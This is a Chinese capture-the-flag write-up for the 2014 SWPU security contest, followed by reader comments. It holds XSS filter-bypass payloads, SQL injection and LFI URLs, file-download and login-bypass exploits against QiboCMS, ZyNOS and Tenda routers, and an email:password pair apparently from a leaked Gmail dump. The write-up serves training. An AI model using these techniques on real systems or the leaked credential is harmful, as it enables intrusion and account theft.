2014 swpu writeup

0×00 前言
西南石油大学第五届信息安全技术大赛 挑了一些自己感兴趣的题目做 xss还有crack
比赛官网
题目打包下载

0×01 Base
Base1
1
提示说了挂马 有一种不可见的iframe 非常常见 查看一下源码 果然找到了iframe标签
2
iframe

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(c/a))+String.fromCharCode(c%a+161)};while(c--)if(k[c])p=p.replace(new RegExp(e(c),'g'),k[c]);return p}('Ä(¢(p,a,c,k,e,d){e=¢(c){¦(c<a?\'\':e(c/a))+Ã.Â(c%a+Á)};À(c--)¿(k[c])p=p.¾(½ ¼(e(c),\'g\'),k[c]);¦ p}(\'<\\¤>\\» \\º(){\\¥ \\¹="\\¡同学是个活泼开朗的孩子,在西南石油大学各个学院都结交了很多朋友。同时\\¡同学也是一个热心肠,朋友遇到任何困难他都会奋不顾身去鼎力相助。包括追女朋友、抓\\¸、写情书、搓背、捡肥皂、帮妹子找回\\·、\\¶帮队友送人头……最近正逢“西南石油大学安全月”,\\¡更是忙的不可开交……其实\\¡也是个粗中带细的好学生,其实他一直默默的暗恋着艺术院的一个妹子……";\\¥ \\µ="\\´:\\³"}</\\¤>\',£,£,\'²|±|°|¯|®|­|¬|«|ª|©|¨|¢\'.§(\'|\')))',36,36,'xa1|function|12|xa2|xa3|return|split|passkey|runstr|hack|QQ|LOL|key|6f7bf47d9fdf677af6ec611d172fe5a5|da521d85afefa53bc86b41d73c75d081|var|script|running|xa4|xa5|xa6|xa7|xa8|xa9|xaa|xab|xac|RegExp|new|replace|if|while|161|fromCharCode|String|eval'.split('|')))

packed加解密

JavaScript Eval Encode/Decode
这里有两个工具 可以用来帮助做packed的题目
js格式化工具
packed加解密工具

格式化之后

<script>
    function passkey() {
        var runstr = "running同学是个活泼开朗的孩子,在西南石油大学各个学院都结交了很多朋友。同时running同学也是一个热心肠,朋友遇到任何困难他都会奋不顾身去鼎力相助。包括追女朋友、抓hack、写情书、搓背、捡肥皂、帮妹子找回QQ、LOL帮队友送人头……最近正逢“西南石油大学安全月”,running更是忙的不可开交……其实running也是个粗中带细的好学生,其实他一直默默的暗恋着艺术院的一个妹子……";
        var key = "6f7bf47d9fdf677af6ec611d172fe5a5:da521d85afefa53bc86b41d73c75d081"
    }
</script>

6f7bf47d9fdf677af6ec611d172fe5a5:da521d85afefa53bc86b41d73c75d081得到了这个32byte:32byte的一个字符串
破解一下hash 类型是windows hash sam的那个
windows hash破解

3

Hash:     6f7bf47d9fdf677af6ec611d172fe5a5:da521d85afefa53bc86b41d73c75d081
Password: Wel2014swpu

Base2
referer的题目
使用burp 修改一下啊 Referer:www.google.com
4
5
得到了954a4995de68029c936a5b9eb6a646f50f838b4f8fc851f549fee82add419942
然后得出是一个64字节的字符串 一开始没提示做不出来

后来抓包得到了一个密钥之类的东西
6
Swp201u4
des加解密工具
在这里解des
7

key{It#ReferFrom2014A3$}

Base3
一张郭美美的jpg

8

在jpg图片的末尾找到了png图片 可以利用jpg的结尾符0XFFD9来确定

winhex抠出来
9
二维码解密
出来一个qq空间
http://user.qzone.qq.com/2243181272
10
3141caac940108e6f0c8e0ad8a840f87
google搜一下
11
发现了somd5上面有解
ITpicT2048re@GMM

Base4
xss1
12
<input name=”data” value=”a” id=”text”>
输出是在这里 value=”a”
做一下简单的fuzz
过滤了 script

“变成了\” 可以从第一个出来

利用一个小技巧
那些年我们一起学XSS – 1. 什么都没过滤的入门情况

先闭合前面的input标签

<img src=1 onerror=alert(1);>

这里这个 没有”
13
Why are you so diao !!so key=Gre34y_6r3p

Base5
14
看输出 这次是在script里

"){}alert("1

闭合if语句先 然后插入一个alert 因为最后会补全”) 所以我们构造alert(“1
15

Base6
xss3
3和2差不多
16
也是输出在script里的
但是这次过滤的东西比较多
他过滤了alert
尝试一下10进制的编码 String.fromCharCode
尝试一下绕过

){}String.fromCharCode(97, 108, 101, 114, 116)(

吃大力 没弹框框

){}eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)

过滤了from Code

尝试一下jsfuck

(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()

发现!被过滤了 简直蛋疼

换别的编码来尝试一下
用atob base64编码

){}eval(atob("YWxlcnQoMSk7")

过滤了”
用’代替

){}eval(atob('YWxlcnQoMSk7')

发现了语法错误 要闭合前面的if(shit==
最后的payload是这样子构造的

''){}eval(atob('YWxlcnQoMSk7'))

这个题没有直接给flag的 要发邮件给网管大叔
xss_3
16otkN03_4$$ly

Base7
这个题比较蛋疼
回显是在script脚本里的注释中 没法轻易绕过

第一个想到的就到用换行符来绕过
那些年我们一起学XSS – 6. 换行符复仇记
burp下 尝试%0aaa

发现做了替换了 把%0a替换为—-
然后就想用别的可以替换换行符的字符来尝试

尝试用宽字节来过
data=%c0%22111

\x0a
\被过滤
XSS和字符集的那些事儿 参考了一下mramydnei老师的这个文章

alert被过滤了
后来和Dr0pLe7神聊天 他说有两种方法可以绕过 一种是利用了unicode的编码 生成换行符来绕过 还有一种是通过ie的条件编译来绕过注释 最后没时间也没尝试了

Base8
xss5
这个题目比较简单
尝试fuzz一下 发现过滤了a-zA-Z0-9等等 所以尝试用jsfuck来绕过

发现比xss3还简单一些 xss3还过滤了!没法绕过

''){}[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])(

xss_5
l2stIs10oO@

0×02 Web
Web1
注入
注入点

mysql的注入
http://web.swpuwllm.com:2222/teachers.php?dyid=1 and (select count(*) from information_schema.COLUMNS)<>0

尝试了一下手工 没搞出来 盲注 手工太蛋疼
用sqlmap跑 网站感觉有点怪异 跑不动 或许是我姿势不对
用havij就可以 很奇怪 难道是题目改过
SqL1IsSo1aSy@G00d

Web2
17

http://web.swpuwllm.com:5555/login.php

18尝试了一下127.0.0.1 发现不行
Ping一下 获取ip
19

添加一个http头
X-Forwarded-For: 199.101.117.188
20
弱口令试试看
再试试看注入
admin’ or 1=1#
注入一下
21
key:{RunNgIs0g@0dK1d}

Web3
22
http://web.swpuwllm.com:3333/urp/score.php?file=cj.php
http://web.swpuwllm.com:3333/urp/score.php?file=mm.php
23
查看了一下源码 发现了提示key.php
http://web.swpuwllm.com:3333/urp/score.php?file=key.php
php LFI读php文件源码以及直接post webshell参考ck学长的一个姿势
http://web.swpuwllm.com:3333/urp/score.php?file=php://filter/read=convert.base64-encode/resource=key.php

发现读不到东西
后来看清楚才发现
http://web.swpuwllm.com:3333/key.php

发现了提示说的根目录 我们包含错了 再尝试跨一层目录
http://web.swpuwllm.com:3333/urp/score.php?file=../key.php

24
尝试读一下源码
http://web.swpuwllm.com:3333/urp/score.php?file=php://filter/read=convert.base64-encode/resource=../key.php

77u/PD9waHANCiAgLy9rZXk9N0IxbkNMdWQzQGZpTGVzJjANCj8+DQo8IS0tIGtleeWwseWcqOi/memHjOWTny0tPg==

base64解一下 utf-8编码的
25
key=7B1nCLud3@fiLes&0

Web4
网站是齐博v7的网站
qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)雨牛提交的一个漏洞
http://swpuwllm.com:3389/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8

还因为那个encode的url编码问题 %3c的影响浪费了一些时间 推荐用hackbar自带的base64编码方法

base64编码
data/config.ph<
ZGF0YS9jb25maWcucGg8

而非data/config.ph%3C
ZGF0YS9jb25maWcucGglM0M=

http://swpuwllm.com:3389/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8
访问一下

$webdb['mymd5']=’43745275′; //this key for web4:G0O4_GNu_ph9
还要去下载function.inc.ph%lt;

$secret_string = $webdb[mymd5].$rand.’5*j,.^&;?.%#@!’; //绝密字符串,可以任意设定

然后在去用注入拿后台管理员的权限

齐博CMS后台拿shell

这个是拿shell的方法

再后面的也没做了 后来发现 之前拿到的web4的key都没提交 太尴尬了

0×03 Crack
Crack1
是个apk的逆向 并没有太难

用7z之类的解压获取classes.dex文件
Dex2jar
获取jar文件 然后用jdgui打开
26
看到了是一个登陆的过程key is your input
NetW0rk318w11m

Crack2
27
file看一下 自己做逆向还是比较爽的 能涨姿势
28
ida里看看 看到有key相关的
29
F5一下

int __cdecl main()
{
  int v1; // [sp+11h] [bp-2Fh]@1
  char v2; // [sp+15h] [bp-2Bh]@1
  __int16 v3; // [sp+16h] [bp-2Ah]@1
  char v4; // [sp+18h] [bp-28h]@1
  int v5; // [sp+19h] [bp-27h]@1
  int v6; // [sp+1Dh] [bp-23h]@1
  int v7; // [sp+21h] [bp-1Fh]@1
  int v8; // [sp+25h] [bp-1Bh]@1
  __int16 v9; // [sp+29h] [bp-17h]@1
  char v10; // [sp+2Bh] [bp-15h]@1
  int v11; // [sp+2Ch] [bp-14h]@37
  int v12; // [sp+30h] [bp-10h]@37
  int v13; // [sp+34h] [bp-Ch]@37
  int j; // [sp+38h] [bp-8h]@20
  signed int i; // [sp+3Ch] [bp-4h]@4

  v6 = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v5 = 0;
  v3 = 0;
  v4 = 0;
  v1 = 0;
  v2 = 0;
  puts("Please input KEY:");
  __isoc99_scanf("%s", &v6);//v6 is key
  if ( strlen((const char *)&v6) != 11 )// strlen(v6) == 11 长度11
  {
    puts("You input Key is wrong !");
    exit(0);
  }
  for ( i = 0; i <= 10; ++i )
  {
    if ( (*((_BYTE *)&v6 + i) > 57 || *((_BYTE *)&v6 + i) <= 48) && *((_BYTE *)&v6 + i) != 45 )// v6 使用的字符  1到9 还有- 一共10个字符
    {
      puts("You input Key is error !");
      exit(0);
    }
  }
  if ( BYTE3(v6) != 45 || BYTE2(v7) != 45 || BYTE2(v6) != 51 || BYTE1(v7) != 50 )//45:- 45:- 51:3 50:2  #define BYTE1(x) (((_BYTE*)&x)[1])    通过看偏移可以看到这里的v7 是在v6后的4个字符 key:xx3- x2-xxxx   BYTE0 BYTE1 BYTE2 BYTE3 是这样子的 从0开始
  {
    puts("You input Key is error !");
    exit(0);
  }
  for ( i = 0; i <= 10; ++i )
  {
    if ( i != 3 )// 983-72-6541 检查 一个字符与之后的所有字符都不一样 除了i=3的时候 也就是 - 和后面的-是一样的 不检查//xx3-x2-xxxx 就是用了1-9的字符 不重复的使用
    {
      for ( j = i + 1; j <= 10; ++j )
      {
        if ( *((_BYTE *)&v6 + i) == *((_BYTE *)&v6 + j) )
        {
          puts("You input key is error2!");
          exit(0);
        }
      }
    }
  }
  for ( i = 0; i <= 2; ++i )
    *((_BYTE *)&v5 + i) = *((_BYTE *)&v6 + i);
  i = 0;
  for ( j = 4; j <= 5; ++j )
    *((_BYTE *)&v3 + i++) = *((_BYTE *)&v6 + j);
  i = 0;
  for ( j = 7; j <= 10; ++j )
    *((_BYTE *)&v1 + i++) = *((_BYTE *)&v6 + j);
  v13 = atoi((const char *)&v5);
  v12 = atoi((const char *)&v3);
  v11 = atoi((const char *)&v1);
  if ( v12 * v13 == v11 )
    puts("Key is your input!");//格式:xx3-x2-xxxx    规律:xx3*x2 == xxxx   要求使用其他的数字1-9 不重复
  else
    puts("SaoNian ,please try again ....");
  return 0;
}

题目还比较善良 可以通过不同的回显 来发现自己进入到了哪一步了 不然就要用gdb来调试看结果了
key长度 11位
30
xx3-x2-xxxx 格式是这个
31
xx3*x2 == xxxx 要求使用其他的数字1-9 不重复
32
key是xx3-x2-xxxx
问了一下算法牛 可以用手算的方法算出来 编程来爆破也很简单
有一位是直接就可以确定的 最后一位是6 = 2*3
算法牛 coco67的python

#!/usr/bin/python

inuse = [0]*11
inuse[6]=1
inuse[0]=1
inuse[2]=1
inuse[3]=1
for a in range(1,10):
  if inuse[a]==0:
    inuse[a] = 1
    for b in range(1,10):
      if inuse[b]==0:
        inuse[b] = 1
        for c in range(1,10):
          if inuse[c]==0:
            inuse[c] = 1
            n1 = int(str(a)+str(b)+str(3))
            n2 = int(str(c)+str(2))
            n = n1*n2 // 10    
            ans = True 
            while n>0:
              if inuse[n % 10] == 1:
                ans = False
                break
              n = n //10  
            if ans:
              print "%d%d3-%d2-%d" %(a,b,c,n1*n2)
            inuse[c] = 0
        inuse[b] = 0
    inuse[a] = 0

得出了两个结果 尝试一下 得到key
483*12=5796
483-12-5796

Crack3
这次是exe的文件的逆向
33
34
ida f5
sub_401020 里找到了key相关的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@1
  char *v4; // eax@1
  char v5; // cl@2
  int v6; // eax@7
  int *v7; // eax@7
  char v8; // cl@8
  int v9; // ecx@9
  int i; // eax@10
  char v11; // dl@11
  const char *v13; // [sp-4h] [bp-54h]@13
  int v14; // [sp+4h] [bp-4Ch]@1
  int v15; // [sp+8h] [bp-48h]@1
  int v16; // [sp+Ch] [bp-44h]@1
  int v17; // [sp+10h] [bp-40h]@1
  int v18; // [sp+14h] [bp-3Ch]@1
  __int16 v19; // [sp+18h] [bp-38h]@1
  char v20; // [sp+1Ah] [bp-36h]@1
  int v21; // [sp+1Ch] [bp-34h]@1
  int v22; // [sp+20h] [bp-30h]@1
  __int16 v23; // [sp+24h] [bp-2Ch]@1
  char v24; // [sp+2Bh] [bp-25h]@11
  char v25; // [sp+2Ch] [bp-24h]@1
  int v26; // [sp+2Dh] [bp-23h]@1
  int v27; // [sp+31h] [bp-1Fh]@1
  __int16 v28; // [sp+35h] [bp-1Bh]@1
  char v29; // [sp+37h] [bp-19h]@1
  char v30; // [sp+38h] [bp-18h]@1
  _BYTE v31[3]; // [sp+39h] [bp-17h]@3

  v26 = 0;
  v27 = 0;
  v28 = 0;
  v29 = 0;
  v25 = 0;
  v21 = 1852732754;
  v22 = 1734831721;
  v23 = 111;
  v14 = 2004053569;
  v15 = 1111781989;
  v16 = 6778473;
  v17 = 87231350;
  v18 = 40977232;
  v19 = 3920;
  v20 = 30;
  v3 = sub_4013C0(std::cout, "Please input name:");
  std::basic_ostream<char_std::char_traits<char>>::operator<<(v3, std::endl);
  sub_401610(std::cin, &v30); //v30 name保存在这里
  v4 = &v30;
  do
    v5 = *v4++; //*v4++ 指针后移
  while ( v5 );
  if ( v4 - v31 - 5 > 5 || strcmp(&v30, (const char *)&v21) ) // 两个条件都要为假 >10 所以长度要<=10    第二个条件 v21 = Runninggo
  {
    printf("You input name is wrong !\n");
    exit(0);
  }
  v6 = sub_4013C0(std::cout, "Please input password:");
  std::basic_ostream<char_std::char_traits<char>>::operator<<(v6, std::endl);
  sub_401610(std::cin, &v21);//v21 是 password
  v7 = &v21;  //v7 = password指针
  do
  {
    v8 = *(_BYTE *)v7; //v8为字符的内容
    v7 = (int *)((char *)v7 + 1); //i++ 指针后移
  }
  while ( v8 );
  v9 = (char *)v7 - ((char *)&v21 + 1);// v9 = v7(password结尾指针) - (v21(password首地址)+1)   v9为字符长度
  if ( (char *)v7 - ((char *)&v21 + 1) - 5 > 6 )//这里有个长度判断 >11是wrong  所以要length<=11
  {
    printf("You input password is wrong !\n");
    exit(0);
  }
  for ( i = 0; i < v9; *(&v24 + i) = v11 )
  {
    v11 = *((_BYTE *)&v17 + i) ^ *((_BYTE *)&v21 + i);
    ++i;
  }
  if ( strcmp((const char *)&v14, &v25) ) //25=24+1byte
    v13 = "You input password is wrong !\n";
  else
    v13 = "The key is your input password !\n";
  printf(v13);
  system("pause");
  return 0;
}

35
长度判断

od跟一下 Runninggo
36

ida也是可以撸的
37 一开始姿势错了 nnuR 一开始只用这个去尝试 其实是长度还没有完 而且还有大小端的问题
Runninggo 就是我们要输入的username了
38

AnswerDBing 这里做了异或
39

另一个异或的元素 vv\350x\PCq 这里这个元素直接用查看char型的话 有的会不可见字符
这个时候转战od 用od来撸 根据之前得到到name 跟进去 输入一个长度不超过11的密码 例如

AnswerDBing
12345678901

这个异或循环
40
计算esp+eax+0x1C 和 esp+eax+0×10的异或 计算偏移 查看一下堆栈情况
观察数据 异或的数据
41
012345678901
0-9的字符的hex是 31 32…39 这里是下面的数据 可以看看对比一下
下面的就是我们测试的012345678901这些数据 上面的是v17到v19 这乱码的部分

在ida下可以用hex比较清晰 一开始用char型的 因为有不可见的字符在所以导致异或出现了问题
42
比较清晰

     76 0B 33 05 50 43 71 02 50 0F 1E
xor  41 6E 73 77 65 72 44 42 69 6E 67(AnswerDBing)
----------------------------------------------------------------------
     37 65 40 72 35 31 35 40 39 61 79(7e@r515@9ay)

7e@r515@9ay
43

0x04Route
Route1
Zynos
44
百度一下ZyNOS
百度一下 发现
ZyNOS路由加密配置文件未授权下载可解密获取登录密码
http://basic.swpuwllm.com/router1_os/login/rom-0
Key=Router_Is_Dangerous

Route2
给了一个pcapng
wireshark打开之后
过滤一下http
发现了是一个数据包里有一个rar 压缩文件
右键follow tcp stream
45

row保存成rar格式

要注意row和ascii的不同 这里坑了比较久 有换行符的差别会影响到文件内容
把他解压
46
文件最后给了密码letmein
47
H@vEFun

Route3
这个题和route1差不多 也能在wooyun里找到

http://basic.swpuwllm.com/router3_tenda/

48
Tenda腾达某无线路由登陆密码绕过

带上cookie访问就可以了
49
KEY=Tenda_Router

0×05 Soc
Soc1
社工题1
50
good_luck.pcapng: pcap-ng capture file – version 1.0
用wireshark打开就可以了
看看是上网时候抓的包 先看看http的post的包
http.request.method==POST
看看post类型的数据
发现第一个有一个doc文档 %E7%AE%80%E5%8E%86.doc 也就是 简历.doc
发现第二个有一个special.zip
转换成文件出来 http实体
发现了这个doc文档有些个人的资料
51

这里给了个gmail的邮箱 之前爆了一个gmail的裤子 快去查一查
52

syafiqbasri@gmail.com:motianlun

发现了一个rar文件
53
可是有密码
然后用motianlun去解压rar文件
54
文件最下面
so,there is a key
key_1{S02I4L_7!_!na1}

soc2
腾讯的微云 这里有qq的cookie
55
qq:2114514891

看到经常上网的地方 有个qq的cookie skey什么的 尝试加一下好友 发现其实是题目相关的客服的qq
56
omymeizi@163.com 这个邮箱没发现什么

然后还 看到了他的qq签名
57

然后就去找到了一个他常用的网站油吧

猜测就要尝试能xss之后 发链接给他 可能是这样子 需要登陆他的油吧 获取里面的信息吧
phpwind最新版反射型xss漏洞一枚
flash xss

最后好心的客服大叔给了我tips 是在空间 利用了在邮吧获取的信息 得到了key 可惜最后没在 也没提交key 感觉有点浪费
58
空间密码0510
59
key_2{wAt3&>8eN_Ck}

0×06 后记
自己时间不是太多 只挑了一些自己感兴趣的题 没有全部做完 不过还有很有收获的 自己撸了逆向 有wuyan大神带我学 涨姿势了 xss也是有点入门的感觉了

8 条评论

  1. Niger 十一月 2, 2014 11:27 下午  回复

    Base6 xss3的alert过滤绕过,只要写成’aler’+'t(1)’的方式就可以。输入”);eval(‘ale’+'rt(1)’)(构成if (shit==”);eval(‘ale’+'rt(1)’)()闭合即可。

    • AppLeU0 十一月 3, 2014 5:06 下午  回复

      对的 我看到死猫 还有一种技巧就是用concatl来做拼接 eval(‘a’.concat(‘lert(1)’))也是可以的

  2. 夏殇 十一月 6, 2014 8:13 上午  回复

    来这里总有东西学~~各种奇淫技巧

    • AppLeU0 十一月 8, 2014 4:47 下午  回复

      想想都有点小激动

    • AppLeU0 十一月 29, 2014 12:09 下午  回复

      好好学习 天天向上

  3. 主演IsLands 十月 25, 2015 5:17 下午  回复

    虽然是大神,但是依旧把题解写的这么详细,比乌云的好多了,还给出了工具网站,小白必须赞一个啊

    • AppLeU0 十月 26, 2015 12:12 下午  回复

      写的详细一些好啊 我自己看的时候 才能看得懂 也方便重新再查 再看嘛

发表评论

*